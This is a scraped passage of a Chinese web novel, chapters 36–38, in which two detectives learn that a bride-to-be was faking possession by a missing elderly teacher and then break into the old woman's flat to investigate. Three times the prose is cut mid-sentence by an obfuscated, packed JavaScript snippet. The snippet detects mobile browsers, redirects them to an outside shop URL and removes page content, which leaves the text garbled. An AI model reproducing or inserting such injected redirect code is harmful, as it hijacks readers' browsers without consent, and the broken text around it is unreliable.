“我把她送走了!”老板脱口而出,随后补充,“城里空气不好,我把她送回乡下老家养病了,离这儿很远,所以不方便!” 秋樰生和秦于理全都凝神看着林雅菲,刚刚逼问老板的时候,女孩子的眼里似乎迸射出了一团火光,要烧透一切不清不楚晦暗不明,此时,那点光又沉寂了下去。 “哦。”林雅菲说完,转身快步走出了店铺。 秦于理二话不说,直接追了上去,秋樰生只得凑活着跟老板说了声“不好意思”,赶紧也追着两人出去。 天湖区灯光灿烂,庆祝国庆的彩灯妆点了街道,烟花不时亮起,引发人们阵阵欢呼,秋樰生赶到的时候,林雅菲和秦于理正一前一后,站在路边。他想要张嘴问问怎么了,却听秦于理开口说:“你不装了吗?” 秋樰生微微一怔,他看到林雅菲的背影微微哆嗦了一下。 秦于理说:“林雅菲,你是不打算装成重生人屠菊英了吗?” 一团巨大的金色烟花在半空炸开,拉出千丝万缕,像朵盛放的金丝菊。在车水马龙中,林雅菲深深吸了口气,转过来,眼神清明地看向两人:“是的,我是林雅菲,我在找寻屠菊英阿姨,她已经失踪一个多月了。” 36.第36章 三宗案 就像林雅菲刚刚在店里说的那样,她是在两年前学雷锋志愿服务时遇见的屠菊英。 每年学雷锋日,各家一线单位都会组织志愿者活动,林雅菲工作的天湖区中心医院当然也不例外。通常,她们会在医院附近的社区里摆摊给市民量血压,测体重,科普养生知识,那一年刚好新来的院长是刚从隔壁区调上来的,便组织了一支巾帼小分队回“娘家”开展服务,林雅菲就是在那次活动中遇到的屠菊英。 “那时候,屠阿姨精神还挺好。她退休前是高中语文老师,学识丰富,讲话很有素养。我给她做了基础的身体检查,中间跟她顺口聊了几句,意外发现她和我一样,都喜欢李白的诗歌,忍不住就聊开了。屠阿姨说她先生前几年走了,如今独居中,家里有个儿子,已经成家,还有个孙子,刚上初中,儿子儿媳工作都不稳定,手头经常捉襟见肘。因而屠阿姨虽然年过七十,有退休金,但为了贴补儿子一家家用,还是会给社区里的学生上课,教作文赚点外快。我提出想帮她,但屠阿姨生性清高,坚决不肯接受经济援助,最后只答应我交换了联系方式。我想着这样也好,只要有联系,以后总有能帮上忙的机会。 “那次志愿者服务结束后很长一段时间,屠阿姨都没联系我,几个月后,我突然收到她打来的电话。电话里,她有些不好意思地询问我,有没有合适的小本生意推荐,她说自己辛辛苦苦攒了二十万,想给儿子儿媳盘家小店,免得他们将来年纪大了就业困难,生活也出问题。我哪里懂什么生意,就想着医院旁边街上那些小店好像生意不错,便推荐她开小吃店。屠阿姨却说做餐饮辛苦,竞争又激烈,她儿子恐怕不行,问还有没有更稳妥点的,我就想到了殡葬用品店。” “所以,是你推荐屠阿姨的儿子来这里开店的?”秦于理问。 林雅菲苦笑:“我根本不知道屠阿姨的儿子就在我们医院对面开店。或许是怕我特意照顾生意吧,她压根没跟我说这件事,只在那次电话不久后向我道谢,说店铺勉强开张了,还给我发了个红包。我当然没收,可她执意要给,我就说钱我就不要了,要不您也教我点什么吧。屠阿姨问我对什么感兴趣,她说她琴棋书画都会点儿,只要我想学,她都愿意教,可我们做护士的,作息不规律,工作也忙,我根本没大块时间学习。为了不扫她的兴,我就说,那您给我讲讲诗歌啊人生经验什么的吧,屠阿姨欣然答应。 “于是,我们商量好了每周两个晚上视频连线学习,具体时间根据我的排班会有变化,偶尔上课上到一半我也会被召回医院,但屠阿姨从没有觉得我麻烦。她总是跟我说,自己在家闲着也是闲着,有人愿意听她这个老太婆说话,她还巴不得呢!” 林雅菲深深吸了口气,似乎是在平复情绪,随后,她接着往下说。 “对我来说,屠阿姨真的是个很好的老师。我念的是护校,中专生,就这样村里人还经常说我爸妈傻,不仅只养了个女儿没再要弟弟,还愿意花钱供我读书,让我去城里上班,他们说我爸妈是砸钱养别人家的媳妇儿。我一直因为这件事苦恼,想给爸妈争口气,可能力极限摆在那儿,我也不会做其他的。屠阿姨却告诉我,我爸妈做得是对的,落后的是村里的其他人,她说现代社会女孩子一定要多读书,有一份独立的工作,将来才能在社会上立足,她还说,如果有机会,年轻人最好还能去外面的世界闯闯,哪怕是国内的发达城市也好,只有知行结合,开拓了眼界又付诸了实践,我们才能知道自己是谁,想怎么过一生,整个人的精神面貌都会不一样。 “我问屠阿姨,您这么有学识,年轻的时候一定很了不起,去过不少地方吧。她说她年纪还小的时候,的确曾经读万卷书,行万里路,但成家以后,就以家庭为重了。” 秋樰生说:“屠阿姨的丈夫就是刚刚学思殡葬用品商店墙上挂的那位老人吧?” 林雅菲却摇摇头:“我不知道。” 秋樰生惊讶:“你不知道?你和屠菊英老人认识两年,也登门造访过她家,难道没在她家里见过相片或是听她说起过她先夫?” 林雅菲反问:“秋队,你是怎么发现我去过屠阿姨家的?” 秋樰生被这声突如其来的“秋队”喊得有点懵,过去还在村里一起生活的时候,林雅菲总是甜甜的喊他“秋秋哥哥”,掉进湖里被救上来装成屠菊英后,她喊他“云升哥哥”,“秋队”这个称呼尊敬、恭谨、疏离,背后似乎隐藏着林雅菲的某种决意。 秋樰生说:“开车进屠阿姨家社区的时候,我跟门卫打听路怎么走,那时候他多看了你两眼,应该是对你有点印象;到了楼下,你不肯下车,甚至没给自己上楼看看,进一步辨别这里是不是‘你家’的机会,可见你已经有了判断;再后来我下楼的时候从二楼观察过你,你的眼神是斜向上的,可不管是我还是秦于理,都没同你讲过屠阿姨家住在几楼,所以我猜你应该来过这里。” 林雅菲叹息:“不愧是隀明市局的秋队,所以我才想着这次婚礼是我唯一的机会,唯一能把你直接卷进来,靠你的能力帮我找到屠阿姨的机会!” 秋樰生恍然大悟,难怪他明明曾经拒绝过林雅菲,两人关系多少有点尴尬,对方却还是发了请帖请他务必到场,至于他临时起意把秦于理一起带上,现在来看,竟像是歪打正着了。 “其实你把实情告诉我,我也会帮你的。” 林雅菲摇头:“我也托人打听过警方的办事流程,知道你们有属地原则,如果我实话告诉你,你只会把案子转给本地警方,或许你还会帮我打声招呼,但我不信任他们,我觉得屠阿姨的儿子一家有问题!” “你怎么知道?”秦于理问。 “因为我认识屠阿姨两年多,虽然去探望她的次数不超过十次,但一次都没看到过她家里人来探望她,特别是屠阿姨脑子变差以后!你们知道吗,我有次去她家,甚至发现她手上有被捆绑过的痕迹!” 林雅菲轻轻抽泣,显得很难受:“屠阿姨的病程发展得很快,她开始变得健忘,容易疲惫,以前她会和我讲她文学历史,讲她对未来社会的畅想,慢慢的,她更多的对我讲她的回忆,她的小时候,她的少女时期,我也是因此第一次听说了李云升的名字。” “屠阿姨出生在上世纪四十年代末,那时候大家的经济条件普遍不好,一般人家的孩子都会早早出来工作,帮衬家里,女孩子更是会早早嫁人,操持家务。屠阿姨一家当时住在一栋民国时期建造的老房子里,一个大杂院有好几户人家,有天,她家楼上搬来了新邻居,她好奇去看,结果看到一个同她差不多大的少年正坐在窗边读一本书。少年的书桌上,身旁地上,到处堆满了各种书籍,要知道那时候知识可是很宝贵的资源,只有市里面的图书馆,才能看到那么多的书,还得办理借书证才能进去。” 少年很机敏,他很快发现楼梯柱头阴影里躲了个蹑手蹑脚观察自己的女孩,他放下手中的书本笑了,说:“我看到你了,我叫李云升,云朵的云,冉冉升起的升,你呢?” 屠菊英措手不及,结结巴巴地回答:“我叫屠菊英。” “屠苏的屠,菊花的菊,英雄的英吗?” 屠菊英用力点头。其实家里人都喊她英子,鲜少有人用大名称呼她,她也从没觉得自己的名字有多特别,菊英、爱华、金娣、招娣,那会儿的名字都这么叫。可不知道为什么,简简单单三个字从李云升嘴里喊出来就仿佛有了魔力。 李云升问她:“你认得字吗?” 屠菊英腼腆地回答:“认识一点儿,以前这儿住了个老学究,是他教的,后来他没了。” 屠菊英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541668|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点害怕面前这个看起来跟其他男孩都不一样的小男孩害怕这里,赶紧又补充道:“姚爷爷年纪很大很大了,是喜丧!” 李云升笑了起来:“我不怕鬼神。”他又冲屠菊英招招手,屠菊英:“?” 李云升说:“你来,以后我教你念书!” 林雅菲说:“这段初遇,屠阿姨反复跟我说了很多次,她说那是她人生中最幸福的一段日子的开始,也是她发现女孩子也可以读万卷书,行万里路的发端! “一晃很多年过去,屠阿姨跟着李叔叔学了很多东西,77年国家恢复高考,屠阿姨顺利考进了女子师范学校,她说李云升在她心里树立了老师的光辉形象,她从很小起就决定将来也要当一名老师,这样她能帮助很多与她一样的女孩子,让她们也同她站在一样的地方,看一样的风景!” “后来呢?”秦于理问,“屠菊英和李云升在一起了吗?” 林雅菲迷茫地摇摇头:“我不知道。阿尔茨海默让屠阿姨的记忆变得断断续续,她总是给我讲相同的事情,每次我问她其他事,比如李叔叔现在在哪儿,你们还有联系吗,她要么答不上来,要么突然闭紧嘴巴,拒绝沟通,我想,他们应该没有走到终点。” “所以你拉秋樰生下水查案的时候,也把李云升这个人一并说了出来。” “是啊,听屠阿姨提了那么多次,我心里一直有个执念,总想着见见那位芝兰玉树般的老先生,阿姨那么挂念他,或许找到他让两人再见一面,也会对阿姨的病情有好处呢?” “那你落水是自导自演?”秦于理问,这次林雅菲露出了有些害怕的神情。 “我是这么打算过,用一场意外来过渡到屠阿姨的事情,引起秋队的关注,但是,昨天我是被人推下去的!”回忆起了不久前的事故,林雅菲再次露出了半夜被噩梦惊醒后的慌张无助,“计划是计划,对自己下手是另一回事!我曾经偷偷对湖边的台阶动过手脚,想着那样会更像是意外落水,但一直没能成功,眼看着就要来不及了,突然有人狠狠推了我一把,我就……就这么掉下去了!!!” 林雅菲紧紧抱住自己的胳膊:“我到现在也不知道那是我的错觉还是真的有人想害我,可是村子里都是熟人,我们家跟人无冤无仇的,怎么会有人想害我呢!我真的不懂!” 秦于理问完了,走到秋樰生身边说:“现在是三宗案子了。” “三宗?”秋樰生反问。 “第一,屠菊英失踪案;第二,林雅菲被推落水案;第三,重生人案。” 秋樰生惊讶:“你不是刚刚确认了雅菲不是……”说到这里,秋樰生自己也想起来了,“她不是重生人,可重生罗盘对她有反应,虽然数值低,却还是有重生污染,所以整件事里确实存在一个重生者?” “对。”秦于理说,“你也算茁壮成长了。” 秋樰生没接这句垃圾话,说:“现在怎么办,屠阿姨的线索到老板那里就断了,村子里的事情也还没个头绪,更不用说那个不知是谁的重生者。” 秦于理说:“线索怎么就断了,老板说他把屠阿姨送回老家了,你雅菲妹妹刚刚说屠阿姨老家是栋民国时期的老房子,带个大院子……” “就这点特征,全国那么大,上哪儿大海捞针去,就算能查到老板的籍贯,缩小范围,也还是无处着手。” 秦于理打了个响指:“来,林雅菲同志,你把那首童谣再给我们唱一遍。” 秋樰生一愣,猛然响起还有这么档子事。半夜醒来的林雅菲曾经念过一首奇怪的童谣,当时她说…… “我记得的,我们家在……在……余娇娘,三丈三,金银元宝装满筐;石老头,八对八,虾兵蟹将不过江;门前有花马,屋后放白羊,梁上坐着个小娃娃,咯咯笑来叫妈妈。” 37.第37章 她真的来了 昨晚听只觉得这首童谣不知所云,网络上也查不到根据,加上林雅菲身上要解的谜团本来就多,所以这件事并没有引起秋樰生太多的关注,谁想到兜了一圈,推进事情的关键点又落回了这件事上。 林雅菲在一旁来回看着两人,此时开口问:“我记得这首童谣,我曾经听屠阿姨唱过,可是你们怎么也知道?” 秋樰生和秦于理闻言,顿时一起扭头看向她。 秋樰生说:“这是你昨晚做梦惊醒以后唱给我们听的,你不记得了?” 林雅菲显然很惊讶:“我唱的?” 秋樰生皱眉:“林雅菲,我警告你,欺瞒警察是违法的。”他这是换成了警方审讯的立场,好让女孩子明白其中的严肃性。 林雅菲仔细回忆了一下,最后还是摇摇头:“我真的不记得自己唱过这首童谣,因为我自己也只听屠阿姨唱过一次,根本记不起整首词。你们真的确定是从我嘴里听到的吗?” 说到最后,林雅菲自己也察觉她这个问题问得荒谬,因为秋樰生和秦于理压根不认识屠菊英,自然也没有别的渠道获知这首童谣。 “怎么会这样……”林雅菲喃喃自语,“我只记得自己做噩梦惊醒,然后你们来安慰我,再一睁眼就已经天亮了,这中间到底发生了什么?” 秋樰生还想说什么,秦于理却先他一步开口说:“既然你听屠菊英唱过这首童谣,那么她有没有跟你提起过这首童谣的来源,她有说这是哪一带流传的民间童谣吗,还是说那是她自己原创的,她又是在什么情况下提及这首童谣的?” 林雅菲回忆道:“我记得我听到童谣的时候屠阿姨的精神状况已经不太好了,那时候她已经没精力给我上课,我们的视频教学也变成了我陪她聊天解闷而已。那天我们好像是在聊……”林雅菲说,“我想起来了,那天是广顺来我家提亲的日子!” “那是多久之前?” “半年前。”林雅菲面上现出纠结忧心的神色,“广顺是个好人,我们从小一起长大,我一直把他当成一个可亲的哥哥,根本没想到他会来提亲。他那天突然来我家表明心意,让我大吃一惊,结果我爸妈还当场提了一堆条件,有些条件我听着都觉得过分,可他却满口答应,还一个劲望着我笑。那天我心里乱得一塌糊涂,跟屠阿姨聊天的时候不知不觉就讲了这件事。” “你不想嫁给广顺?”秋樰生问。 “我不知道。”林雅菲露出迷惘的神色,哪怕再过两天就要结婚了,她还是没能找到自己心的方向。她喃喃道:“广顺真的很好,你也知道的,他忠厚老实,做事靠谱,从小他就很照顾我,我以前老觉得将来谁要是能嫁给他,一定能得很幸福,可是我从来没有想过那个人可能是我。” 林雅菲咬着下唇,显得十分纠结为难:“我知道人总要结婚的,尤其是女人,年轻的时候如果挑三拣四的话,年纪大了出嫁、生孩子都会有困难,村里的乡亲也会指指点点。从各方面来看,广顺都是个良人,我也不知道为什么我会犹豫不决,可事实就是,他突然来提亲以后,我一下子便觉得手足无措,心里烦闷,甚至本能地害怕见到他,非要形容的话,我有一种原本好好的平静生活被打破了的感觉。” 秋樰生说:“那你跟广顺说了没有?” 林雅菲摇头:“怎么说呢,他一个劲看着我笑,我爸妈也对他答应的条件感到满意,如果我当场拒绝,以后说不定连朋友都没得做。” “所以你答应了?” “也没有,我说我要再考虑一下。”林雅菲说,“我那天心太烦了,就问屠阿姨我到底应该怎么办?她告诉我,你要弄清楚你心里烦闷的由来,到底是不想嫁给王广顺这个人还是不想嫁人,这是两件完全不同的事。她说,虽然现在很多人的婚恋观念都变得很开放,离婚、出轨甚至是一些非主流的婚姻关系都不鲜见,但她还是认为缔结婚姻应当是一件美好又严肃的事情,因为从两个人决定领取那张证书开始,就代表着双方都允许对方进入自己的世界,共同分担自己这方的利益与责任,成为一辈子的同路人。如果没有这方面的思想准备,又不愿意承担连带责任的话,那么后续婚姻失败的概率会很高。我听到这里,忍不住问她,屠阿姨,您的婚姻是什么样的,您当初选择嫁给您先生的时候又是怎么想的?” “她说什么?” “她……她一开始沉默了很久,好像在努力回忆很久很久以前的事情,久到我甚至有一段时间觉得她可能是走神了,然后她就忽然唱了那首童谣。”林雅菲说,“不好意思,你们能把那首童谣再唱一遍吗?” 秦于理将秋樰生往前轻推了一下:“你上。” 秋樰生:“?” 秦于理:“我只会念,不会唱。” 秋樰生很想说“难道我就会吗”,但最后还是认命地凭记忆把那首童谣勉强唱了一遍,林雅菲静静听着,好像出了神,直到秋樰生喊她:“雅菲?” 林雅菲回过神来:“什么?” 秋樰生说:“我已经把童谣唱完了,你想起来什么没有?” 林雅菲像是恍然大悟说:“哦,哦,我想起来了。屠阿姨当时唱完这首童谣问我,童谣好听吗?我说好听,她笑着说,这首童谣她以前经常唱给她儿子听。屠阿姨的儿子是早产儿,小时候经常生病,一病就哇哇大哭,不肯吃药,甚至喝不下奶,她就唱童谣逗他,唱个几遍以后,她儿子就会慢慢缓过来,变得开心起来,再喂药喂奶就容易多了。” “她没有回答你问的关于她丈夫的问题?” 林雅菲说:“是啊,我那时候就想我的问题会不会太唐突了,所以屠阿姨不愿意回答我,可是屠阿姨接着又说,如果不爱她先生的话,她怎么会愿意为了这个小家放弃她读万卷书,行万里路的理想,停留在一个地方,又怎么会甘愿忍着十月怀胎的不易和鬼门关前走一遭的风险去孕育一个双方的孩子呢。更不用说,因为孩子是个早产儿的缘故,在带大这个儿子的路上,她吃了多少苦,花了多少心力了!屠阿姨说,小林,我从你的描述里听得出,你那位叫作王广顺的青梅竹马是个人品不错的孩子,你过往和他相处得很融洽,但是你还是在他提亲的时候产生了烦躁的念头,而非满心欢喜,这代表着,你的第一反应其实是排斥而非接纳,这才是你最真实的感受。” “她还让我想象一下,一辈子和广顺生活在一起,每天抬头不见低头见,怀一个他的孩子,两个人共同抚育这个孩子的画面,她让我问自己,对这样的未来是感到快乐还是恐惧,是满怀希望、忐忑不安还是难以想象,甚至想要逃避拒绝。” “那你是怎么回答的?” “我说我想象不出。”林雅菲说,“广顺在我过去的生活里随处可见,但他是哥哥是朋友是邻居,就是不是我丈夫的模样,但这也不是针对广顺一个人的,因为我也想象不出自己成为其他人的妻子、某个孩子母亲的样子,我总觉得我还有很多事没做,还有很长的路没有走。我甚至没去过几个地方旅游,没看过网上那些大城市的年轻女孩展示的缤纷多彩的世界,我还想去念成人自考,这样也许有一天我能成为一名医生,帮助更多的病人,可我知道一旦我走进婚姻,这一切或许都会变得遥不可及,然后我会像我妈妈,像村里其他的阿姨婆婆们一样,一辈子在霞鹜村生活,过着普通又平静的生活,操持家务,帮衬丈夫,伺候公婆,带大孩子,我不是说那样的生活不好,可是我总觉得,在那之前,我应该还有时间做更多自己想做的事!” “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556711|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你最后还是答应了广顺的提亲。”秋樰生说,“你们俩都是从小和我一起长大的,任何一个人被欺骗对我来说都不是一件值得高兴的事。” “我知道。”林雅菲说:“可我又能怎么办呢?爸妈亲戚都在给我施压,他们告诉我,我已经年纪不小了,真想要继续深造的话,也完全可以等到结完婚生完孩子再继续做那件事,到时候我有了自己的小家,有了两双赚钱的手,还有公公婆婆亲爹亲妈一起帮忙带孩子,这比我自己一个人单打独斗有保障多了。我妈说,婚姻就是这样的,哪来的件件称心,样样如意,不都是磕磕绊绊吵吵闹闹把日子过了,她跟我爸结婚的时候两个人甚至只在媒人的介绍下见过一面,最后不也过得挺好?她还说我以前周末回去不也一样抱怨过工作繁重,病人难搞吗,如果结了婚,那么我哪天做得不高兴了,要是想要在家休息一阵子,广顺一定会承担起养家责任的。所以我就想……如果我这辈子真的一定要步入婚姻,说不定广顺已经是我能找到的最好的选择了。” 这就像是民间传说中最经典的那个故事,某个人进入一个多层宝库,可以免费带一件宝物回去,楼层越高,宝物就越珍贵,唯一的问题是,进楼的人会随机踏进空层。那里一无所有,空空荡荡,一旦踏入空层,这个人就会被送出宝库,那么你是见好就收,挑已知宝物当中虽不是最喜欢但好歹有价值的一件,还是冒着可能空手离场的风险去搏下一层更为珍贵的宝物呢? 秋樰生说:“我不懂婚姻和恋爱,也没想过这件事,但我觉得问题不在于什么是最好的,而在于你想要的是什么。青菜萝卜各有所爱,如果是你不喜欢的,就算是燕翅鲍肚龙肝凤髓,你也一样会觉得不合口味。如果已经做出了选择,未来却反悔走上歧途,那么对另一个人明显是不公平的。” 林雅菲有点生气,她说:“我不是把婚姻当儿戏的人,虽然我心里很纠结,但既然已经决定了嫁给广顺,通知了大家,我是不会做对不起他的事的!” “但你其实并不喜欢他不是吗,至少不是那种对男人的喜欢。”秋樰生不依不饶。 林雅菲气得胸膛起伏,拳头都捏紧了。秦于理怀疑这姑娘现在可能在心里骂以前天真无瑕的自己,是瞎了眼才会见色起意,喜欢秋樰生这个夯货! 秋樰生:“你是不是在说我坏话?” 秦于理:“?” 秦于理摸了摸自己的脸孔,心想自己应该没露出马脚啊,秋樰生是怎么看出来的?于是她转移话题说:“既然都谈到婚恋了,屠阿姨难道没有跟你提起李云升吗?” 屠菊英的年少回忆里,她楼上的邻居李云升是个曾经让她如此惊才绝艳的少年,少女情怀总是诗,她和林雅菲既然都已经聊到选择婚姻、配偶的话题了,怎么也该提一提李云升这个人才对。 “她没有说。”林雅菲说,“我也不明白,除了说自己读书的事,屠阿姨后来一直都没提起过李叔叔,我又不敢问,怕触碰到她什么伤心事……对了,她还说了一句话,我当时听只是觉得有点儿奇怪,现在想想好像有点儿不对劲……” “她说了什么?” “屠阿姨说,她最近时常回想起年轻时的梦想,读万卷书,行万里路,她已经读了很多书了,却没有去过很多地方,亲眼见证那些先贤大家笔下的世界,如今时光留给她的时间已经不多了,她想着等孙子明年考上了高中,如果还能走动,她就一个人出门去看看大好河山。”林雅菲说,“那还是今年年头的事,我问她,如果我将来结婚的话,能邀请她来参加吗,屠阿姨说,只要我邀请,无论如何,她都会来的。” 说到这里,三人突然同时陷入了沉默。因为林雅菲即将嫁人的这几天,阴差阳错之下,屠菊英好像真的“来”了。 38.第38章 二探屠家 “喵”的一声打破了沉默,三人同时看向地上,白猫棉花糖不知道什么时候从车里跑了出来,此时正蹲坐在林雅菲脚边,乖巧地望着她,见林雅菲低头看向自己,这猫竟然还用自己的脑袋蹭了蹭林雅菲的裤腿,似乎在安慰她不要害怕。 林雅菲弯腰将棉花糖抱起来,颤抖着声音问:“难道赵大仙说的才是对的,屠阿姨真的在……在我的身体里吗?” 秋樰生说:“你先别害怕……” 秦于理却突然伸了个懒腰说:“疑神疑鬼什么,你一个学医的怎么还封建迷信?” 林雅菲似是微微松了一口气。同情老人是一回事,接受老人变成鬼魂找上自己又是另一回事。人就是这么奇怪,有的人甚至连自己最亲的亲人过世都感到害怕,既害怕梦到对方,又害怕留在故人最后停留过的房间里,从某种意义上,这可以解释为一种与死亡正面相遇又擦肩而过的创伤反应。 秋樰生忽而问:“雅菲,你刚刚说你在一个月前就跟屠阿姨断了联系?” “是的。我那会儿正在忙着准备婚礼要用的东西,每天都忙得不可开交,实在顾不上和屠阿姨联系。等到想起来邀请她参加我的婚礼的时候,却发现怎么私她都没有回复了。”林雅菲摸出手机,找到和屠菊英的聊天界面,打开给秋、秦两人看。 秦于理只看了一眼,秋樰生却接过去仔仔细细地检查了一番,一副公事公办到底的样子。秦于理怀疑,林雅菲此时应该在第二次庆幸秋樰生没有和她走到一起。 秋樰生检查完后将手机交还给林雅菲,对秦于理点点头:“她没撒谎。” 林雅菲问:“怎么了,哪里有问题吗?” 秦于理说:“下午屠阿姨的隔壁邻居说屠阿姨的儿子是在半个月前把老人从家里接走的,这和你说的有时间差。” 秋樰生说:“那半个月里,屠阿姨可能被关在家里。那会儿,她的痴呆症应该已经完全发作出来,根本认不出人又具有攻击性,搞得邻居们怨声载道,老板或许在无奈之下不得不将她锁在屋子里。” “但是隔壁邻居并没有提起过殡葬店老板曾经前来照顾老人的事。”秦于理说,“按照林雅菲说的,就算是屠阿姨还健康的时候,老板一家都不怎么来看她,更不用说在老人痴呆症完全发作以后,而且每天进出的话,不太可能不撞上邻居。” 秋樰生想了想,不得不承认秦于理说得对。 罹患阿尔兹海默症的病人一旦病情彻底发作,会丧失各种行为能力,包括主动进食、排泄、清洁身体等等,如果那半个月里,屠菊英老人真的已经病情严重到生活无法自理了,那么老板必须时时刻刻陪伴在老人身边,可邻居阿姨压根就没有提起过这件事,那就说明她在那半个月里没有见到过殡葬店老板。可如果殡葬店老板没有来过,那么既失智又无人照顾的屠菊英又怎么可能活过那半个月? 秦于理说:“我有一个猜测,不知道对不对,我需要再回到屠菊英家里去看一眼。” 秋樰生说:“她家里没人,我们也申请不到搜查证,没办法进去,哎你!” 秦于理不知什么时候已经顺走了秋樰生手里的车钥匙,打开车门,坐进了驾驶座:“不用那么麻烦,我之前在楼下看到她家阳台窗开了条缝,我可以爬进去。” 秋樰生刚刚坐到副驾驶座,正在系安全带,闻言震惊地看向秦于理:“你疯啦?” 秦于理见林雅菲也抱着白猫在后座做好了,便一脚油门,把车飚了出去。 秋樰生冷不丁往后仰倒,赶紧伸手拽住车顶的扶手:“私闯民宅是犯法的,你不要这身制服啦?” 秦于理说:“你不说,我不说,谁会知道?” 秋樰生:“万一被人看见呢?” 秦于理说:“所以你得帮我望风啊,你是新0000……” “停停停。”秋樰生对秦于理这套已经听腻烦了,“你最好给我个非要私闯民宅的理由。” 秦于理说:“我不信你想不到。” “我想不到。” “你只是不敢承认。” “我就是单纯的想不到!” 后座的林雅菲不知道两人在打什么哑谜,弱弱地问:“秋队,秦姐,你们到底在说什么?” 秦于理这次没开口,只一个劲地狂飙,秋樰生犹豫了一下,最后还是道:“不好说,等进去看了才知道。” 这次花了一个小时十分钟,三人一猫重新回到了那个老小区。晚上再来,便觉得整个小区更加荒凉了,不多的几乎人家亮着灯光,里面也没有欢声笑语,只有电视机里传出来的广告声音。秦于理把车停在楼下,直接往楼上爬,林雅菲也想跟过去,秋樰生说:“你在前面看着,我去阳台那面,发现有巡逻的保安经过的话,及时发我消息!” 林雅菲只好重新坐回车里,秋樰生则绕到了楼后阳台那里,抬头看去。 黑黢黢的楼房顶部很快出现了秦于理的身影,她把外套脱了,露出里面的防污染制服。秋樰生用手机电筒晃了一下,示意了方位,秦于理心领神会,很快便两手抓着屋檐,顺着落水管道像只灵活的猫科动物往下攀援。 抵达四层高度的时候,隔壁那个阿姨好巧不巧又出来阳台上洗东西,秋樰生紧张中大脑飞快旋转,思索着自己此时能做些什么,还好秦于理始终将身形紧紧贴合墙面,没有发出一丝声音。明明近在咫尺,甚至是隔壁阿姨只要抬头望窗外仔细看一眼就能发现秦于理,但天色昏暗,加上她忙着跟屋子里的老伴拌嘴,硬是没有注意到。 过了一会儿,隔壁阿姨进屋了,秋樰生长长舒了口气。他看到秦于理伸手飞快抓住了隔壁阿姨家的晾衣架,没几下就移动到了另一边,然后翻身跳到了屠菊英家的阳台外。因为跨度比较大加上屠阿姨家的阳台封了窗户,秦于理的身形晃了一下,整个人往下一掉,在最后一刻,伸手拉住了阳台外伸出来的半截排水管。 秋樰生一颗心都提到了嗓子眼,偏偏这时候,他又听到了林雅菲的声音从前面传来:“棉花糖,棉花糖!师傅,我是来找猫的,我猫不见了。”那声音特别大,明显是提醒的意味。 跟着,秋樰生便看到林雅菲和一个保安师傅一起走了过来。发现秋樰生,保安愣了一下说:“你谁啊,站着别动!” 手电筒光束照过来,秋樰生用手挡了一下。林雅菲说:“师傅,那是我哥,下午他开车带我来的,你还记得吗,我们在门口问过你路的。” 秋樰生也忙迎上前去,拔了根烟:“不好意思啊,师傅,下午我们来看个亲戚,没留意我妹的猫偷摸着下车了,这不,回到家才发现,赶紧又找了过来。” 保安狐疑地推开那根烟:“我不抽烟。你们找哪家亲戚?” 秋樰生说:“我们找……”说到这里猛然卡壳,林雅菲却突然出声。 “师傅,我们是403王阿姨的远房亲戚,白天跟她见过啦。她呼吸道老毛病了,一到换季就容易发作,这不,趁着长假我们刚好来附近旅游,家里让我送点自己做的秋梨枇杷膏来。” 林雅菲毕竟是曾经来这个小区做过志愿者的,脑子里还留存着小区老人的些许记忆,情急之下脱口而出,一下子让保安的疑心一扫而空。 保安说:“哦,找猫啊,什么样的,我帮你们一起找。” “不用不用,不耽误您时间。”秋樰生忙说,“猫怕生,我怕到时候抓伤您。” 保安说:“我门卫室也养着猫呢,身上有猫味儿,它们不会怕的,你们快想想,是在哪里走丢的,是楼下还是楼上?” 保安刚要抬起手照照上头,秋樰生吓得赶紧一把按下了他的胳膊。 “真不用了,师傅,我们自己来就好。” 秋樰生也不知道秦于理此时怎么样了,但他不敢抬头,生怕保安也会跟着一起抬头看,因此只能陪着笑,挡在保安师傅跟前,努力利用身高优势遮挡点东西。 “不麻烦,我跟你说,猫这东西吧……” 恰在这时,伴随着“喵呜”一声,一团白花花的影子从草丛里蹿了出来,一下子扑到了保安的脚面上,正是棉花糖。 林雅菲惊喜地喊了一声:“棉花糖!” 保安师傅眼疾手快,捞住棉花糖举了起来,老猫在他手里温顺地一动不动,像是只静态的玩偶。 保安喜不自胜:“你看,我就说吧,我身上有猫味儿,猫都喜欢我。”他说着,还伸手摸了摸棉花糖的头,摸掉了一撮毛。保安说:“你这猫掉毛有点厉害啊,是不是缺维生素B了?” 林雅菲赶紧伸手接过棉花糖说:“它年纪大了,换毛季掉毛就比较厉害。” 保安说:“多大年纪的猫啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16561643|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着养得挺好的呀。” 